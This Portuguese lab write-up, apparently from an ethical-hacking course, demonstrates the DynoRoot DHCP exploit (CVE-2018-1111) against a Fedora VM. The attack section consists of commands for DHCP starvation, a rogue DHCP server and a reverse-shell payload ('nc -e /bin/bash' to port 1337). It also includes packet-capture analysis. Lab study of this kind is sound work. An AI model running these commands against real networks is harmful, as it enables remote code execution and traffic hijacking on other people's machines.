VBoxManage storagectl "${VM_NAME}" --name "IDE Controller" --add ide --controller PIIX4
VBoxManage storageattach "${VM_NAME}" \
--storagectl "IDE Controller" \
--port 0 \
--device 0 \
--type hdd \
--medium "${VM_NAME}.vdi"
VBoxManage storageattach "${VM_NAME}" \
--storagectl "IDE Controller" \
--port 0 \
--device 1 \
--type dvddrive \
--medium "$(realpath Fedora-Server-dvd-x86_64-28-1.1.iso)"
Se algo der errado:```bash VBoxManage unregistervm "${VM_NAME}" --delete
#### Instalação do SO
Na primeira vez que inicializamos a máquina, precisamos de um desktop virtual para acompanhar as etapas de instalação. Nós
podemos iniciar a máquina virtual em modo headless e usar `rdesktop-vrdp` para conectar. Se o VirtualBox estiver
sendo executado em um computador desktop, pode ser mais fácil iniciar a máquina virtual pela GUI, mas
este método funcionará mesmo com um host VirtualBox remoto.```bash
VBoxHeadless --startvm "${VM_NAME}" --vrde on --vrdeproperty "TCP/Ports=${VRDE_PORT}" &
sleep 12 # Fedora is slow...
rdesktop-vrdp "localhost:${VRDE_PORT}"
kill %%
Configuração de instalação:
fedoravictimvicenp0s8 para usar DHCP

Após a instalação, desligue, remova a iso e desabilite VRDE:```bash
VBoxManage storageattach "${VM_NAME}"
--storagectl "IDE Controller"
--port 0
--device 1
--type dvddrive
--medium "none"
VBoxManage modifyvm "${VM_NAME}" --vrde off
#### Login SSH
Para facilitar o acesso, podemos instalar a chave SSH criada acima na máquina `victim`:```bash
VBoxHeadless --startvm "${VM_NAME}" &
sleep 5
ssh-copy-id -i ~/.ssh/ethhack.pub victim.ethhack
ssh victim.ethhack
Verifique se a interface enp0s8 está usando DHCP:```bash
sudo nmcli device show enp0s8
Caso contrário, pode ser configurado usando:```
sudo nmcli connection down enp0s8
sudo nmcli connection modify enp0s8 IPv4.method auto
sudo nmcli connection modify enp0s8 IPv4.address ''
sudo nmcli connection up enp0s8
Para reverter para um IP estático:```bash sudo nmcli connection down enp0s8 sudo nmcli connection modify enp0s8 IPv4.address 192.168.0.99/24 sudo nmcli connection modify enp0s8 IPv4.method manual sudo nmcli connection up enp0s8
## Realizando o ataque
Os seguintes passos, executados em ordem, demonstrarão o ataque DHCP.
Sugerimos configurar um multiplexador de terminal como [Byobu](https://www.byobu.org/) para facilitar
a navegação de uma máquina para outra.
Antes do ataque:
1. Inicie as 3 máquinas virtuais, que automaticamente se conectarão ao DHCP benigno
2. Desconecte a máquina Fedora e limpe os arquivos de concessão DHCP para simular uma nova conexão
3. Reinicie o servidor DHCP para simular uma nova conexão
O ataque em si consiste em:
1. Disparar uma série de DHCP REQUESTs falsos do atacante para _esgotar_ o servidor DHCP benigno
2. Iniciar o servidor DHCP rogue que enviará as OFFERs maliciosas para a vítima
3. Reconectar a máquina Fedora e aguardar que o NetworkManager transmita um DHCP DISCOVER
4. Aguardar a conexão do reverse shell
Se algo acontecer, pare todos os serviços relevantes e recomece.
### Gateway
Limpe as concessões DHCP antigas e a tabela ARP, depois reinicie o DHCP:```bash
sudo systemctl stop isc-dhcp-server
sudo rm /var/lib/dhcp/dhcpd.leases*
sudo ip link set arp off dev enp0s8
sudo ip link set arp on dev enp0s8
sudo systemctl start isc-dhcp-server
tail -f /var/log/syslog | grep --line-buffered 'dhcpd' | grep -E 'dhcpd|attacker|fedora|'
Obtenha um novo lease DHCP:``` sudo dhclient -r enp0s8 sudo dhclient -v enp0s8
Grave o tráfego DHCP usando `tcpdump`:```bash
sudo ip link set enp0s8 promisc on
sudo tcpdump -i enp0s8 -w attack.pcap 'arp or icmp or port 67 or port 68'
Alternativamente, o VirtualBox também pode gravar tráfego:```bash VBoxManage modifyvm "attacker" --nictrace2 on --nictracefile2 capture.pcap VBoxManage modifyvm "attacker" --nictrace2 off
Iniciar esgotamento de DHCP (executar como `root`):```
sudo su && cd && conda activate dynoroot
python FEP3370-advanced-ethical-hacking/starver.py \
--interface enp0s8 \
--pool-start 192.168.0.100 \
--pool-end 192.168.0.105
Use netcat para escutar por conexões da vítima:``` nc -v -l -p 1337
Lançar ataque (executar como `root`):```bash
sudo su && cd && conda activate dynoroot
MY_IP=$(ip -f inet addr show enp0s8 | awk '/inet / {print $2}' | cut -d'/' -f1)
MY_MAC=$(ip link show enp0s8 | awk '/link\/ether / {print $2}' | cut -d'/' -f1)
python CVE-2018-1111/main.py \
-i enp0s8 \
-s 192.168.0.0/24 \
-g 192.168.0.1 \
-d 'victim.net' \
-m "${MY_MAC}" \
-p "nc -e /bin/bash ${MY_IP} 1337"
Limpar leases DHCP antigas e reconectar:``` sudo nmcli connection down enp0s8 sudo find /var/lib/NetworkManager -name 'dhclient-*-enp0s8.lease' -delete
sudo nmcli connection up enp0s8 nmcli
### Análise
#### Captura de vídeo
O seguinte [vídeo](https://github.com/baldassarrefe/fep3370-advanced-ethical-hacking/blob/main/media/dynoroot.mp4) demonstra a execução do ataque seguindo os
passos acima. No vídeo, é possível observar:
1. A troca DHCP de 4 vias entre o `gateway` e o `attacker`
2. O ataque de esgotamento DHCP, tanto no console do atacante
quanto nos logs do servidor DHCP (observe o `NACK` devido ao lease existente do atacante)
3. A mensagem "no free leases" do `gateway` quando a `victim` transmite um DHCP `DISCOVER`
4. As mensagens DHCP forjadas do servidor DHCP malicioso oferecendo `192.168.0.2`
5. A confirmação de que o netcat recebeu a conexão reverse shell de `192.168.0.2`
6. As opções DNS falsas recebidas pela `victim`,
ou seja, endereço DNS `192.168.0.1` e domínio `victim.net`
7. A execução remota bem-sucedida de comandos simples na máquina vítima
8. O DHCP `RELEASE` enviado ao final do ataque
<a href="https://youtu.be/rgjMzQ5ExyA">
<img src="https://assets.kitploit.com/production/public/readmes/23114/de82a8bbb23835dcc4d0836fe7f906d9610b860d02a0e92b903191be840a799c.gif" style="position:relative; left:50%; transform:translateX(-50%); max-width:1000px;" width="90%">
</a>
#### Análise de tráfego
O [arquivo de captura](https://github.com/baldassarrefe/fep3370-advanced-ethical-hacking/blob/main/media/attack.pcap) contendo o rastro do ataque pode ser analisado no
[Wireshark](https://wiki.wireshark.org/DHCP). Na captura podemos notar:
1. A troca DHCP de 4 vias entre o `gateway` e o `attacker`
2. O ataque de esgotamento DHCP
3. A troca DPCH iniciada pela `victim` e completada pelo `attacker`
4. As requisições e respostas ARP _who-has_ quando a `victim` se conectou à sessão netcat
no `attacker`
<figure style="text-align:center">
<img src="https://assets.kitploit.com/production/public/readmes/23114/4503aa77c165c6b2b669f178171dbea60d054b88b56f5d857918fd257e2c6b94.png" style="max-width:800px;" width="90%"/>
<figcaption>Captura de pacotes do ataque, a opção DHCP relacionada ao exploit está destacada. As letras nos endereços MAC significam: <code>d</code> servidor DHCP, <code>a</code> atacante, <code>f</code> vítima Fedora</figcaption>
</figure>
## Trabalhos futuros
DynoRoot tem como alvo distribuições antigas do Fedora e RedHat, e foi corrigido em versões mais recentes.
Portanto, as chances de realizar este exploit em campo são limitadas. Felizmente, os ataques DHCP
não se limitam à execução remota de código: qualquer tipo de opção forjada será aceita pelo cliente
independentemente da presença da vulnerabilidade DynoRoot. A maneira mais simples de explorar esse comportamento
é anunciar uma máquina controlada pelo atacante como o gateway da rede ou como o DNS de uma determinada
zona, permitindo assim monitorar, inspecionar e redirecionar qualquer tráfego adicional.
Outra direção interessante diz respeito aos ataques de esgotamento DHCP. O ataque apresentado neste projeto
baseia-se em inundar o servidor DHCP com `REQUESTS` de endereços MAC falsificados, o que não é a
definição de discrição. Este post de blog explora a possibilidade de
[realizar ataques de esgotamento sem enviar um único pacote DHCP](https://medium.com/bugbountywriteup/dhcp-starvation-attack-without-making-any-dhcp-requests-bef0022133c9)
mas confiando em vez disso em respostas ARP falsificadas.
## Créditos
[CVE-2018-1111](https://access.redhat.com/security/vulnerabilities/3442151) foi reportado à Red Hat
por [Felix Wilhelm](https://twitter.com/_fel1x) da Equipe de Segurança do Google.
O script Python para realizar o exploit é do [repositório](https://github.com/kkirsche/CVE-2018-1111) no GitHub de [Kevin Kirsche](https://github.com/kkirsche) com pequenas modificações para ignorar
o próprio endereço MAC do atacante.